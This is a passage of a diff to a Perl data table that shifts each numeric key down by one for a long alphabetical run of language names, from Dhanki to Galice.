       q(Zemba),
       ],
-   q(2021) => [
+   q(2020) => [
       q(Dhanki),
       ],
-   q(2022) => [
+   q(2021) => [
       q(Dhodia),
       ],
-   q(2023) => [
+   q(2022) => [
       q(Dhargari),
       ],
-   q(2024) => [
+   q(2023) => [
       q(Dhaiso),
       ],
-   q(2025) => [
+   q(2024) => [
       q(Dhurga),
       ],
-   q(2026) => [
+   q(2025) => [
       q(Dehu),
       q(Drehu),
       ],
-   q(2027) => [
+   q(2026) => [
       q(Dhanwar (Nepal)),
       ],
-   q(2028) => [
+   q(2027) => [
       q(Dhungaloo),
       ],
-   q(2029) => [
+   q(2028) => [
       q(Dia),
       ],
-   q(2030) => [
+   q(2029) => [
       q(South Central Dinka),
       ],
-   q(2031) => [
+   q(2030) => [
       q(Lakota Dida),
       ],
-   q(2032) => [
+   q(2031) => [
       q(Didinga),
       ],
-   q(2033) => [
+   q(2032) => [
       q(Dieri),
       ],
-   q(2034) => [
+   q(2033) => [
       q(Digo),
       q(Chidigo),
       ],
-   q(2035) => [
+   q(2034) => [
       q(Kumiai),
       ],
-   q(2036) => [
+   q(2035) => [
       q(Dimbong),
       ],
-   q(2037) => [
+   q(2036) => [
       q(Dai),
       ],
-   q(2038) => [
+   q(2037) => [
       q(Southwestern Dinka),
       ],
-   q(2039) => [
+   q(2038) => [
       q(Dilling),
       ],
-   q(2040) => [
+   q(2039) => [
       q(Dime),
       ],
-   q(2041) => [
+   q(2040) => [
       q(Dibo),
       ],
-   q(2042) => [
+   q(2041) => [
       q(Northeastern Dinka),
       ],
-   q(2043) => [
+   q(2042) => [
       q(Dimli (individual language)),
       ],
-   q(2044) => [
+   q(2043) => [
       q(Dirim),
       ],
-   q(2045) => [
+   q(2044) => [
       q(Dimasa),
       ],
-   q(2046) => [
+   q(2045) => [
       q(Dirari),
       ],
-   q(2047) => [
+   q(2046) => [
       q(Diriku),
       ],
-   q(2048) => [
+   q(2047) => [
       q(Northwestern Dinka),
       ],
-   q(2049) => [
+   q(2048) => [
       q(Dixon Reef),
       ],
-   q(2050) => [
+   q(2049) => [
       q(Diuwe),
       ],
-   q(2051) => [
+   q(2050) => [
       q(Ding),
       ],
-   q(2052) => [
+   q(2051) => [
       q(Djadjawurrung),
       ],
-   q(2053) => [
+   q(2052) => [
       q(Djinba),
       ],
-   q(2054) => [
+   q(2053) => [
       q(Dar Daju Daju),
       ],
-   q(2055) => [
+   q(2054) => [
       q(Djamindjung),
       ],
-   q(2056) => [
+   q(2055) => [
       q(Zarma),
       ],
-   q(2057) => [
+   q(2056) => [
       q(Djangun),
       ],
-   q(2058) => [
+   q(2057) => [
       q(Djinang),
       ],
-   q(2059) => [
+   q(2058) => [
       q(Djeebbana),
       ],
-   q(2060) => [
+   q(2059) => [
       q(Eastern Maroon Creole),
       q(Businenge Tongo),
       q(Nenge),
       ],
-   q(2061) => [
+   q(2060) => [
       q(Jamsay Dogon),
       ],
-   q(2062) => [
+   q(2061) => [
       q(Djauan),
       ],
-   q(2063) => [
+   q(2062) => [
       q(Jangkang),
       ],
-   q(2064) => [
+   q(2063) => [
       q(Djambarrpuyngu),
       ],
-   q(2065) => [
+   q(2064) => [
       q(Kapriman),
       ],
-   q(2066) => [
+   q(2065) => [
       q(Djawi),
       ],
-   q(2067) => [
+   q(2066) => [
       q(Dakpakha),
       ],
-   q(2068) => [
+   q(2067) => [
       q(Dakka),
       ],
-   q(2069) => [
+   q(2068) => [
       q(Kuijau),
       ],
-   q(2070) => [
+   q(2069) => [
       q(Southeastern Dinka),
       ],
-   q(2071) => [
+   q(2070) => [
       q(Mazagway),
       ],
-   q(2072) => [
+   q(2071) => [
       q(Dolgan),
       ],
-   q(2073) => [
+   q(2072) => [
       q(Dahalik),
       ],
-   q(2074) => [
+   q(2073) => [
       q(Dalmatian),
       ],
-   q(2075) => [
+   q(2074) => [
       q(Darlong),
       ],
-   q(2076) => [
+   q(2075) => [
       q(Duma),
       ],
-   q(2077) => [
+   q(2076) => [
       q(Mombo Dogon),
       ],
-   q(2078) => [
+   q(2077) => [
       q(Gavak),
       ],
-   q(2079) => [
+   q(2078) => [
       q(Madhi Madhi),
       ],
-   q(2080) => [
+   q(2079) => [
       q(Dugwor),
       ],
-   q(2081) => [
+   q(2080) => [
       q(Upper Kinabatangan),
       ],
-   q(2082) => [
+   q(2081) => [
       q(Domaaki),
       ],
-   q(2083) => [
+   q(2082) => [
       q(Dameli),
       ],
-   q(2084) => [
+   q(2083) => [
       q(Dama),
       ],
-   q(2085) => [
+   q(2084) => [
       q(Kemedzung),
       ],
-   q(2086) => [
+   q(2085) => [
       q(East Damar),
       ],
-   q(2087) => [
+   q(2086) => [
       q(Dampelas),
       ],
-   q(2088) => [
+   q(2087) => [
       q(Dubu),
       q(Tebi),
       ],
-   q(2089) => [
+   q(2088) => [
       q(Dumpas),
       ],
-   q(2090) => [
+   q(2089) => [
       q(Mudburra),
       ],
-   q(2091) => [
+   q(2090) => [
       q(Dema),
       ],
-   q(2092) => [
+   q(2091) => [
       q(Demta),
       q(Sowari),
       ],
-   q(2093) => [
+   q(2092) => [
       q(Upper Grand Valley Dani),
       ],
-   q(2094) => [
+   q(2093) => [
       q(Daonda),
       ],
-   q(2095) => [
+   q(2094) => [
       q(Ndendeule),
       ],
-   q(2096) => [
+   q(2095) => [
       q(Dungan),
       ],
-   q(2097) => [
+   q(2096) => [
       q(Lower Grand Valley Dani),
       ],
-   q(2098) => [
+   q(2097) => [
       q(Dan),
       ],
-   q(2099) => [
+   q(2098) => [
       q(Dengka),
       ],
-   q(2100) => [
+   q(2099) => [
       q(Dzuungoo),
       ],
-   q(2101) => [
+   q(2100) => [
       q(Danaru),
       ],
-   q(2102) => [
+   q(2101) => [
       q(Mid Grand Valley Dani),
       ],
-   q(2103) => [
+   q(2102) => [
       q(Danau),
       ],
-   q(2104) => [
+   q(2103) => [
       q(Danu),
       ],
-   q(2105) => [
+   q(2104) => [
       q(Western Dani),
       ],
-   q(2106) => [
+   q(2105) => [
       q(Deni),
       ],
-   q(2107) => [
+   q(2106) => [
       q(Dom),
       ],
-   q(2108) => [
+   q(2107) => [
       q(Dobu),
       ],
-   q(2109) => [
+   q(2108) => [
       q(Northern Dong),
       ],
-   q(2110) => [
+   q(2109) => [
       q(Doe),
       ],
-   q(2111) => [
+   q(2110) => [
       q(Domu),
       ],
-   q(2112) => [
+   q(2111) => [
       q(Dong),
       ],
-   q(2113) => [
+   q(2112) => [
       q(Dondo),
       ],
-   q(2114) => [
+   q(2113) => [
       q(Doso),
       ],
-   q(2115) => [
+   q(2114) => [
       q(Toura (Papua New Guinea)),
       ],
-   q(2116) => [
+   q(2115) => [
       q(Dongo),
       ],
-   q(2117) => [
+   q(2116) => [
       q(Lukpa),
       ],
-   q(2118) => [
+   q(2117) => [
       q(Dominican Sign Language),
       ],
-   q(2119) => [
+   q(2118) => [
       q(Dori'o),
       ],
-   q(2120) => [
+   q(2119) => [
       q(Dogose),
       ],
-   q(2121) => [
+   q(2120) => [
       q(Dass),
       ],
-   q(2122) => [
+   q(2121) => [
       q(Dombe),
       ],
-   q(2123) => [
+   q(2122) => [
       q(Doyayo),
       ],
-   q(2124) => [
+   q(2123) => [
       q(Bussa),
       ],
-   q(2125) => [
+   q(2124) => [
       q(Dompo),
       ],
-   q(2126) => [
+   q(2125) => [
       q(Dorze),
       ],
-   q(2127) => [
+   q(2126) => [
       q(Papar),
       ],
-   q(2128) => [
+   q(2127) => [
       q(Dair),
       ],
-   q(2129) => [
+   q(2128) => [
       q(Minderico),
       ],
-   q(2130) => [
+   q(2129) => [
       q(Darmiya),
       ],
-   q(2131) => [
+   q(2130) => [
       q(Dolpo),
       ],
-   q(2132) => [
+   q(2131) => [
       q(Rungus),
       ],
-   q(2133) => [
+   q(2132) => [
       q(C'Lela),
       ],
-   q(2134) => [
+   q(2133) => [
       q(Paakantyi),
       ],
-   q(2135) => [
+   q(2134) => [
       q(West Damar),
       ],
-   q(2136) => [
+   q(2135) => [
       q(Daro-Matu Melanau),
       ],
-   q(2137) => [
+   q(2136) => [
       q(Dura),
       ],
-   q(2138) => [
+   q(2137) => [
       q(Dororo),
       ],
-   q(2139) => [
+   q(2138) => [
       q(Gedeo),
       ],
-   q(2140) => [
+   q(2139) => [
       q(Drents),
       ],
-   q(2141) => [
+   q(2140) => [
       q(Rukai),
       ],
-   q(2142) => [
+   q(2141) => [
       q(Darai),
       ],
-   q(2143) => [
+   q(2142) => [
       q(Dutch Sign Language),
       ],
-   q(2144) => [
+   q(2143) => [
       q(Daasanach),
       ],
-   q(2145) => [
+   q(2144) => [
       q(Disa),
       ],
-   q(2146) => [
+   q(2145) => [
       q(Danish Sign Language),
       ],
-   q(2147) => [
+   q(2146) => [
       q(Dusner),
       ],
-   q(2148) => [
+   q(2147) => [
       q(Desiya),
       ],
-   q(2149) => [
+   q(2148) => [
       q(Tadaksahak),
       ],
-   q(2150) => [
+   q(2149) => [
       q(Daur),
       ],
-   q(2151) => [
+   q(2150) => [
       q(Labuk-Kinabatangan Kadazan),
       ],
-   q(2152) => [
+   q(2151) => [
       q(Ditidaht),
       ],
-   q(2153) => [
+   q(2152) => [
       q(Adithinngithigh),
       ],
-   q(2154) => [
+   q(2153) => [
       q(Ana Tinga Dogon),
       ],
-   q(2155) => [
+   q(2154) => [
       q(Tene Kan Dogon),
       ],
-   q(2156) => [
+   q(2155) => [
       q(Tomo Kan Dogon),
       ],
-   q(2157) => [
+   q(2156) => [
       q(Daats'iin),
       ],
-   q(2158) => [
+   q(2157) => [
       q(Tommo So Dogon),
       ],
-   q(2159) => [
+   q(2158) => [
       q(Kadazan Dusun),
       q(Central Dusun),
       ],
-   q(2160) => [
+   q(2159) => [
       q(Lotud),
       ],
-   q(2161) => [
+   q(2160) => [
       q(Toro So Dogon),
       ],
-   q(2162) => [
+   q(2161) => [
       q(Toro Tegu Dogon),
       ],
-   q(2163) => [
+   q(2162) => [
       q(Tebul Ure Dogon),
       ],
-   q(2164) => [
+   q(2163) => [
       q(Dotyali),
       ],
-   q(2165) => [
+   q(2164) => [
       q(Dubli),
       ],
-   q(2166) => [
+   q(2165) => [
       q(Duna),
       ],
-   q(2167) => [
+   q(2166) => [
       q(Hun-Saare),
       ],
-   q(2168) => [
+   q(2167) => [
       q(Umiray Dumaget Agta),
       ],
-   q(2169) => [
+   q(2168) => [
       q(Dumbea),
       q(Drubea),
       ],
-   q(2170) => [
+   q(2169) => [
       q(Duruma),
       q(Chiduruma),
       ],
-   q(2171) => [
+   q(2170) => [
       q(Dungra Bhil),
       ],
-   q(2172) => [
+   q(2171) => [
       q(Dumun),
       ],
-   q(2173) => [
+   q(2172) => [
       q(Uyajitaya),
       ],
-   q(2174) => [
+   q(2173) => [
       q(Alabat Island Agta),
       ],
-   q(2175) => [
+   q(2174) => [
       q(Dusun Deyah),
       ],
-   q(2176) => [
+   q(2175) => [
       q(Dupaninan Agta),
       ],
-   q(2177) => [
+   q(2176) => [
       q(Duano),
       ],
-   q(2178) => [
+   q(2177) => [
       q(Dusun Malang),
       ],
-   q(2179) => [
+   q(2178) => [
       q(Dii),
       ],
-   q(2180) => [
+   q(2179) => [
       q(Dumi),
       ],
-   q(2181) => [
+   q(2180) => [
       q(Drung),
       ],
-   q(2182) => [
+   q(2181) => [
       q(Duvle),
       ],
-   q(2183) => [
+   q(2182) => [
       q(Dusun Witu),
       ],
-   q(2184) => [
+   q(2183) => [
       q(Duungooma),
       ],
-   q(2185) => [
+   q(2184) => [
       q(Dicamay Agta),
       ],
-   q(2186) => [
+   q(2185) => [
       q(Duli-Gey),
       ],
-   q(2187) => [
+   q(2186) => [
       q(Duau),
       ],
-   q(2188) => [
+   q(2187) => [
       q(Diri),
       ],
-   q(2189) => [
+   q(2188) => [
       q(Dawro),
       ],
-   q(2190) => [
+   q(2189) => [
       q(Dutton World Speedwords),
       ],
-   q(2191) => [
+   q(2190) => [
       q(Dhuwal),
       ],
-   q(2192) => [
+   q(2191) => [
       q(Dawawa),
       ],
-   q(2193) => [
+   q(2192) => [
       q(Dhuwaya),
       ],
-   q(2194) => [
+   q(2193) => [
       q(Dyan),
       ],
-   q(2195) => [
+   q(2194) => [
       q(Dyaberdyaber),
       ],
-   q(2196) => [
+   q(2195) => [
       q(Dyugun),
       ],
-   q(2197) => [
+   q(2196) => [
       q(Villa Viciosa Agta),
       ],
-   q(2198) => [
+   q(2197) => [
       q(Djimini Senoufo),
       ],
-   q(2199) => [
+   q(2198) => [
       q(Yanda Dom Dogon),
       ],
-   q(2200) => [
+   q(2199) => [
       q(Dyangadi),
       ],
-   q(2201) => [
+   q(2200) => [
       q(Jola-Fonyi),
       ],
-   q(2202) => [
+   q(2201) => [
       q(Dyaabugay),
       ],
-   q(2203) => [
+   q(2202) => [
       q(Tunzu),
       ],
-   q(2204) => [
+   q(2203) => [
       q(Djiwarli),
       ],
-   q(2205) => [
+   q(2204) => [
       q(Dazaga),
       ],
-   q(2206) => [
+   q(2205) => [
       q(Dzalakha),
       ],
-   q(2207) => [
+   q(2206) => [
       q(Dzando),
       ],
-   q(2208) => [
+   q(2207) => [
       q(Karenggapa),
       ],
-   q(2209) => [
+   q(2208) => [
       q(Ebughu),
       ],
-   q(2210) => [
+   q(2209) => [
       q(Eastern Bontok),
       ],
-   q(2211) => [
+   q(2210) => [
       q(Teke-Ebo),
       ],
-   q(2212) => [
+   q(2211) => [
       q(Ebrie),
       ],
-   q(2213) => [
+   q(2212) => [
       q(Embu),
       q(Kiembu),
       ],
-   q(2214) => [
+   q(2213) => [
       q(Eteocretan),
       ],
-   q(2215) => [
+   q(2214) => [
       q(Ecuadorian Sign Language),
       ],
-   q(2216) => [
+   q(2215) => [
       q(Eteocypriot),
       ],
-   q(2217) => [
+   q(2216) => [
       q(E),
       ],
-   q(2218) => [
+   q(2217) => [
       q(Efai),
       ],
-   q(2219) => [
+   q(2218) => [
       q(Efe),
       ],
-   q(2220) => [
+   q(2219) => [
       q(Ega),
       ],
-   q(2221) => [
+   q(2220) => [
       q(Emilian),
       ],
-   q(2222) => [
+   q(2221) => [
       q(Eggon),
       ],
-   q(2223) => [
+   q(2222) => [
       q(Ehueun),
       ],
-   q(2224) => [
+   q(2223) => [
       q(Eipomek),
       ],
-   q(2225) => [
+   q(2224) => [
       q(Eitiep),
       ],
-   q(2226) => [
+   q(2225) => [
       q(Askopan),
       ],
-   q(2227) => [
+   q(2226) => [
       q(Ejamat),
       ],
-   q(2228) => [
+   q(2227) => [
       q(Eastern Karnic),
       ],
-   q(2229) => [
+   q(2228) => [
       q(Ekit),
       ],
-   q(2230) => [
+   q(2229) => [
       q(Ekari),
       ],
-   q(2231) => [
+   q(2230) => [
       q(Eki),
       ],
-   q(2232) => [
+   q(2231) => [
       q(Standard Estonian),
       ],
-   q(2233) => [
+   q(2232) => [
       q(Kol (Bangladesh)),
       q(Kol),
       ],
-   q(2234) => [
+   q(2233) => [
       q(Elip),
       ],
-   q(2235) => [
+   q(2234) => [
       q(Koti),
       ],
-   q(2236) => [
+   q(2235) => [
       q(Ekpeye),
       ],
-   q(2237) => [
+   q(2236) => [
       q(Yace),
       ],
-   q(2238) => [
+   q(2237) => [
       q(Eastern Kayah),
       ],
-   q(2239) => [
+   q(2238) => [
       q(Elepi),
       ],
-   q(2240) => [
+   q(2239) => [
       q(El Hugeirat),
       ],
-   q(2241) => [
+   q(2240) => [
       q(Nding),
       ],
-   q(2242) => [
+   q(2241) => [
       q(Elkei),
       ],
-   q(2243) => [
+   q(2242) => [
       q(Eleme),
       ],
-   q(2244) => [
+   q(2243) => [
       q(El Molo),
       ],
-   q(2245) => [
+   q(2244) => [
       q(Elu),
       ],
-   q(2246) => [
+   q(2245) => [
       q(Emai-Iuleha-Ora),
       ],
-   q(2247) => [
+   q(2246) => [
       q(Embaloh),
       ],
-   q(2248) => [
+   q(2247) => [
       q(Emerillon),
       ],
-   q(2249) => [
+   q(2248) => [
       q(Eastern Meohang),
       ],
-   q(2250) => [
+   q(2249) => [
       q(Mussau-Emira),
       ],
-   q(2251) => [
+   q(2250) => [
       q(Eastern Maninkakan),
       ],
-   q(2252) => [
+   q(2251) => [
       q(Mamulique),
       ],
-   q(2253) => [
+   q(2252) => [
       q(Eman),
       ],
-   q(2254) => [
+   q(2253) => [
       q(Northern Embera),
       ],
-   q(2255) => [
+   q(2254) => [
       q(Pacific Gulf Yupik),
       ],
-   q(2256) => [
+   q(2255) => [
       q(Eastern Muria),
       ],
-   q(2257) => [
+   q(2256) => [
       q(Emplawas),
       ],
-   q(2258) => [
+   q(2257) => [
       q(Erromintxela),
       ],
-   q(2259) => [
+   q(2258) => [
       q(Epigraphic Mayan),
       ],
-   q(2260) => [
+   q(2259) => [
       q(Apali),
       ],
-   q(2261) => [
+   q(2260) => [
       q(Markweeta),
       ],
-   q(2262) => [
+   q(2261) => [
       q(En),
       ],
-   q(2263) => [
+   q(2262) => [
       q(Ende),
       ],
-   q(2264) => [
+   q(2263) => [
       q(Forest Enets),
       ],
-   q(2265) => [
+   q(2264) => [
       q(Tundra Enets),
       ],
-   q(2266) => [
+   q(2265) => [
       q(Enlhet),
       ],
-   q(2267) => [
+   q(2266) => [
       q(Engenni),
       ],
-   q(2268) => [
+   q(2267) => [
       q(Enggano),
       ],
-   q(2269) => [
+   q(2268) => [
       q(Enga),
       ],
-   q(2270) => [
+   q(2269) => [
       q(Emumu),
       q(Emem),
       ],
-   q(2271) => [
+   q(2270) => [
       q(Enu),
       ],
-   q(2272) => [
+   q(2271) => [
       q(Enwan (Edu State)),
       ],
-   q(2273) => [
+   q(2272) => [
       q(Enwan (Akwa Ibom State)),
       ],
-   q(2274) => [
+   q(2273) => [
       q(Enxet),
       ],
-   q(2275) => [
+   q(2274) => [
       q(Beti (Cote d'Ivoire)),
       ],
-   q(2276) => [
+   q(2275) => [
       q(Epie),
       ],
-   q(2277) => [
+   q(2276) => [
       q(Eravallan),
       ],
-   q(2278) => [
+   q(2277) => [
       q(Sie),
       ],
-   q(2279) => [
+   q(2278) => [
       q(Eruwa),
       ],
-   q(2280) => [
+   q(2279) => [
       q(Ogea),
       ],
-   q(2281) => [
+   q(2280) => [
       q(South Efate),
       ],
-   q(2282) => [
+   q(2281) => [
       q(Horpa),
       ],
-   q(2283) => [
+   q(2282) => [
       q(Erre),
       ],
-   q(2284) => [
+   q(2283) => [
       q(Ersu),
       ],
-   q(2285) => [
+   q(2284) => [
       q(Eritai),
       ],
-   q(2286) => [
+   q(2285) => [
       q(Erokwanas),
       ],
-   q(2287) => [
+   q(2286) => [
       q(Ese Ejja),
       ],
-   q(2288) => [
+   q(2287) => [
       q(Aheri Gondi),
       ],
-   q(2289) => [
+   q(2288) => [
       q(Eshtehardi),
       ],
-   q(2290) => [
+   q(2289) => [
       q(North Alaskan Inupiatun),
       ],
-   q(2291) => [
+   q(2290) => [
       q(Northwest Alaska Inupiatun),
       ],
-   q(2292) => [
+   q(2291) => [
       q(Egypt Sign Language),
       ],
-   q(2293) => [
+   q(2292) => [
       q(Esuma),
       ],
-   q(2294) => [
+   q(2293) => [
       q(Salvadoran Sign Language),
       ],
-   q(2295) => [
+   q(2294) => [
       q(Estonian Sign Language),
       ],
-   q(2296) => [
+   q(2295) => [
       q(Esselen),
       ],
-   q(2297) => [
+   q(2296) => [
       q(Central Siberian Yupik),
       ],
-   q(2298) => [
+   q(2297) => [
       q(Central Yupik),
       ],
-   q(2299) => [
+   q(2298) => [
       q(Eskayan),
       ],
-   q(2300) => [
+   q(2299) => [
       q(Etebi),
       ],
-   q(2301) => [
+   q(2300) => [
       q(Etchemin),
       ],
-   q(2302) => [
+   q(2301) => [
       q(Ethiopian Sign Language),
       ],
-   q(2303) => [
+   q(2302) => [
       q(Eton (Vanuatu)),
       ],
-   q(2304) => [
+   q(2303) => [
       q(Eton (Cameroon)),
       ],
-   q(2305) => [
+   q(2304) => [
       q(Edolo),
       ],
-   q(2306) => [
+   q(2305) => [
       q(Yekhee),
       ],
-   q(2307) => [
+   q(2306) => [
       q(Etruscan),
       ],
-   q(2308) => [
+   q(2307) => [
       q(Ejagham),
       ],
-   q(2309) => [
+   q(2308) => [
       q(Eten),
       ],
-   q(2310) => [
+   q(2309) => [
       q(Semimi),
       ],
-   q(2311) => [
+   q(2310) => [
       q(Even),
       ],
-   q(2312) => [
+   q(2311) => [
       q(Uvbie),
       ],
-   q(2313) => [
+   q(2312) => [
       q(Evenki),
       ],
-   q(2314) => [
+   q(2313) => [
       q(Extremaduran),
       ],
-   q(2315) => [
+   q(2314) => [
       q(Eyak),
       ],
-   q(2316) => [
+   q(2315) => [
       q(Keiyo),
       ],
-   q(2317) => [
+   q(2316) => [
       q(Ezaa),
       ],
-   q(2318) => [
+   q(2317) => [
       q(Uzekwe),
       ],
-   q(2319) => [
+   q(2318) => [
       q(Fasu),
       ],
-   q(2320) => [
+   q(2319) => [
       q(Fa d'Ambu),
       ],
-   q(2321) => [
+   q(2320) => [
       q(Wagi),
       ],
-   q(2322) => [
+   q(2321) => [
       q(Fagani),
       ],
-   q(2323) => [
+   q(2322) => [
       q(Finongan),
       ],
-   q(2324) => [
+   q(2323) => [
       q(Baissa Fali),
       ],
-   q(2325) => [
+   q(2324) => [
       q(Faiwol),
       ],
-   q(2326) => [
+   q(2325) => [
       q(Faita),
       ],
-   q(2327) => [
+   q(2326) => [
       q(Fang (Cameroon)),
       ],
-   q(2328) => [
+   q(2327) => [
       q(South Fali),
       ],
-   q(2329) => [
+   q(2328) => [
       q(Fam),
       ],
-   q(2330) => [
+   q(2329) => [
       q(Palor),
       ],
-   q(2331) => [
+   q(2330) => [
       q(Fataleka),
       ],
-   q(2332) => [
+   q(2331) => [
       q(Fayu),
       ],
-   q(2333) => [
+   q(2332) => [
       q(Fala),
       ],
-   q(2334) => [
+   q(2333) => [
       q(Southwestern Fars),
       ],
-   q(2335) => [
+   q(2334) => [
       q(Northwestern Fars),
       ],
-   q(2336) => [
+   q(2335) => [
       q(West Albay Bikol),
       ],
-   q(2337) => [
+   q(2336) => [
       q(Quebec Sign Language),
       ],
-   q(2338) => [
+   q(2337) => [
       q(Feroge),
       ],
-   q(2339) => [
+   q(2338) => [
       q(Foia Foia),
       ],
-   q(2340) => [
+   q(2339) => [
       q(Maasina Fulfulde),
       ],
-   q(2341) => [
+   q(2340) => [
       q(Fongoro),
       ],
-   q(2342) => [
+   q(2341) => [
       q(Nobiin),
       ],
-   q(2343) => [
+   q(2342) => [
       q(Fyer),
       ],
-   q(2344) => [
+   q(2343) => [
       q(Fipa),
       ],
-   q(2345) => [
+   q(2344) => [
       q(Firan),
       ],
-   q(2346) => [
+   q(2345) => [
       q(Tornedalen Finnish),
       ],
-   q(2347) => [
+   q(2346) => [
       q(Fiwaga),
       ],
-   q(2348) => [
+   q(2347) => [
       q(Kirya-Konzel),
       ],
-   q(2349) => [
+   q(2348) => [
       q(Kven Finnish),
       ],
-   q(2350) => [
+   q(2349) => [
       q(Kalispel-Pend d'Oreille),
       ],
-   q(2351) => [
+   q(2350) => [
       q(Foau),
       ],
-   q(2352) => [
+   q(2351) => [
       q(Fali),
       ],
-   q(2353) => [
+   q(2352) => [
       q(North Fali),
       ],
-   q(2354) => [
+   q(2353) => [
       q(Flinders Island),
       ],
-   q(2355) => [
+   q(2354) => [
       q(Fuliiru),
       ],
-   q(2356) => [
+   q(2355) => [
       q(Flaaitaal),
       q(Tsotsitaal),
       ],
-   q(2357) => [
+   q(2356) => [
       q(Fe'fe'),
       ],
-   q(2358) => [
+   q(2357) => [
       q(Far Western Muria),
       ],
-   q(2359) => [
+   q(2358) => [
       q(Fanbak),
       ],
-   q(2360) => [
+   q(2359) => [
       q(Fanagalo),
       ],
-   q(2361) => [
+   q(2360) => [
       q(Fania),
       ],
-   q(2362) => [
+   q(2361) => [
       q(Foodo),
       ],
-   q(2363) => [
+   q(2362) => [
       q(Foi),
       ],
-   q(2364) => [
+   q(2363) => [
       q(Foma),
       ],
-   q(2365) => [
+   q(2364) => [
       q(Fore),
       ],
-   q(2366) => [
+   q(2365) => [
       q(Siraya),
       ],
-   q(2367) => [
+   q(2366) => [
       q(Fernando Po Creole English),
       ],
-   q(2368) => [
+   q(2367) => [
       q(Fas),
       ],
-   q(2369) => [
+   q(2368) => [
       q(Cajun French),
       ],
-   q(2370) => [
+   q(2369) => [
       q(Fordata),
       ],
-   q(2371) => [
+   q(2370) => [
       q(Frankish),
       ],
-   q(2372) => [
+   q(2371) => [
       q(Arpitan),
       q(Francoprovencal),
       ],
-   q(2373) => [
+   q(2372) => [
       q(Forak),
       ],
-   q(2374) => [
+   q(2373) => [
       q(Fortsenal),
       ],
-   q(2375) => [
+   q(2374) => [
       q(Finnish Sign Language),
       ],
-   q(2376) => [
+   q(2375) => [
       q(French Sign Language),
       ],
-   q(2377) => [
+   q(2376) => [
       q(Finland-Swedish Sign Language),
       q(finlandssvenskt teckensprak),
       q(suomenruotsalainen viittomakieli),
       ],
-   q(2378) => [
+   q(2377) => [
       q(Adamawa Fulfulde),
       ],
-   q(2379) => [
+   q(2378) => [
       q(Pulaar),
       ],
-   q(2380) => [
+   q(2379) => [
       q(East Futuna),
       ],
-   q(2381) => [
+   q(2380) => [
       q(Borgu Fulfulde),
       ],
-   q(2382) => [
+   q(2381) => [
       q(Pular),
       ],
-   q(2383) => [
+   q(2382) => [
       q(Western Niger Fulfulde),
       ],
-   q(2384) => [
+   q(2383) => [
       q(Bagirmi Fulfulde),
       ],
-   q(2385) => [
+   q(2384) => [
       q(Ko),
       ],
-   q(2386) => [
+   q(2385) => [
       q(Fum),
       ],
-   q(2387) => [
+   q(2386) => [
       q(Fulnio),
       ],
-   q(2388) => [
+   q(2387) => [
       q(Central-Eastern Niger Fulfulde),
       ],
-   q(2389) => [
+   q(2388) => [
       q(Futuna-Aniwa),
       ],
-   q(2390) => [
+   q(2389) => [
       q(Furu),
       ],
-   q(2391) => [
+   q(2390) => [
       q(Nigerian Fulfulde),
       ],
-   q(2392) => [
+   q(2391) => [
       q(Fuyug),
       ],
-   q(2393) => [
+   q(2392) => [
       q(Fur),
       ],
-   q(2394) => [
+   q(2393) => [
       q(Fwai),
       ],
-   q(2395) => [
+   q(2394) => [
       q(Fwe),
       ],
-   q(2396) => [
+   q(2395) => [
       q(Gabri),
       ],
-   q(2397) => [
+   q(2396) => [
       q(Mixed Great Andamanese),
       ],
-   q(2398) => [
+   q(2397) => [
       q(Gaddang),
       ],
-   q(2399) => [
+   q(2398) => [
       q(Guarequena),
       ],
-   q(2400) => [
+   q(2399) => [
       q(Gende),
       ],
-   q(2401) => [
+   q(2400) => [
       q(Gagauz),
       ],
-   q(2402) => [
+   q(2401) => [
       q(Alekano),
       ],
-   q(2403) => [
+   q(2402) => [
       q(Borei),
       ],
-   q(2404) => [
+   q(2403) => [
       q(Gadsup),
       ],
-   q(2405) => [
+   q(2404) => [
       q(Gamkonora),
       ],
-   q(2406) => [
+   q(2405) => [
       q(Galolen),
       ],
-   q(2407) => [
+   q(2406) => [
       q(Kandawo),
       ],
-   q(2408) => [
+   q(2407) => [
       q(Gan Chinese),
       ],
-   q(2409) => [
+   q(2408) => [
       q(Gants),
       ],
-   q(2410) => [
+   q(2409) => [
       q(Gal),
       ],
-   q(2411) => [
+   q(2410) => [
       q(Gata'),
       ],
-   q(2412) => [
+   q(2411) => [
       q(Galeya),
       ],
-   q(2413) => [
+   q(2412) => [
       q(Adiwasi Garasia),
       ],
-   q(2414) => [
+   q(2413) => [
       q(Kenati),
       ],
-   q(2415) => [
+   q(2414) => [
       q(Mudhili Gadaba),
       ],
-   q(2416) => [
+   q(2415) => [
       q(Nobonob),
       ],
-   q(2417) => [
+   q(2416) => [
       q(Borana-Arsi-Guji Oromo),
       ],
-   q(2418) => [
+   q(2417) => [
       q(West Central Oromo),
       ],
-   q(2419) => [
+   q(2418) => [
       q(Kaytetye),
       ],
-   q(2420) => [
+   q(2419) => [
       q(Karadjeri),
       ],
-   q(2421) => [
+   q(2420) => [
       q(Niksek),
       ],
-   q(2422) => [
+   q(2421) => [
       q(Gaikundi),
       ],
-   q(2423) => [
+   q(2422) => [
       q(Gbanziri),
       ],
-   q(2424) => [
+   q(2423) => [
       q(Defi Gbe),
       ],
-   q(2425) => [
+   q(2424) => [
       q(Galela),
       ],
-   q(2426) => [
+   q(2425) => [
       q(Bodo Gadaba),
       ],
-   q(2427) => [
+   q(2426) => [
       q(Gaddi),
       ],
-   q(2428) => [
+   q(2427) => [
       q(Gamit),
       ],
-   q(2429) => [
+   q(2428) => [
       q(Garhwali),
       ],
-   q(2430) => [
+   q(2429) => [
       q(Mo'da),
       ],
-   q(2431) => [
+   q(2430) => [
       q(Northern Grebo),
       ],
-   q(2432) => [
+   q(2431) => [
       q(Gbaya-Bossangoa),
       ],
-   q(2433) => [
+   q(2432) => [
       q(Gbaya-Bozoum),
       ],
-   q(2434) => [
+   q(2433) => [
       q(Gbagyi),
       ],
-   q(2435) => [
+   q(2434) => [
       q(Gbesi Gbe),
       ],
-   q(2436) => [
+   q(2435) => [
       q(Gagadu),
       ],
-   q(2437) => [
+   q(2436) => [
       q(Gbanu),
       ],
-   q(2438) => [
+   q(2437) => [
       q(Gabi-Gabi),
       ],
-   q(2439) => [
+   q(2438) => [
       q(Eastern Xwla Gbe),
       ],
-   q(2440) => [
+   q(2439) => [
       q(Gbari),
       ],
-   q(2441) => [
+   q(2440) => [
       q(Zoroastrian Dari),
       ],
-   q(2442) => [
+   q(2441) => [
       q(Mali),
       ],
-   q(2443) => [
+   q(2442) => [
       q(Ganggalida),
       ],
-   q(2444) => [
+   q(2443) => [
       q(Galice),
       ],
-   q(2445) => [
+   q(2444) => [
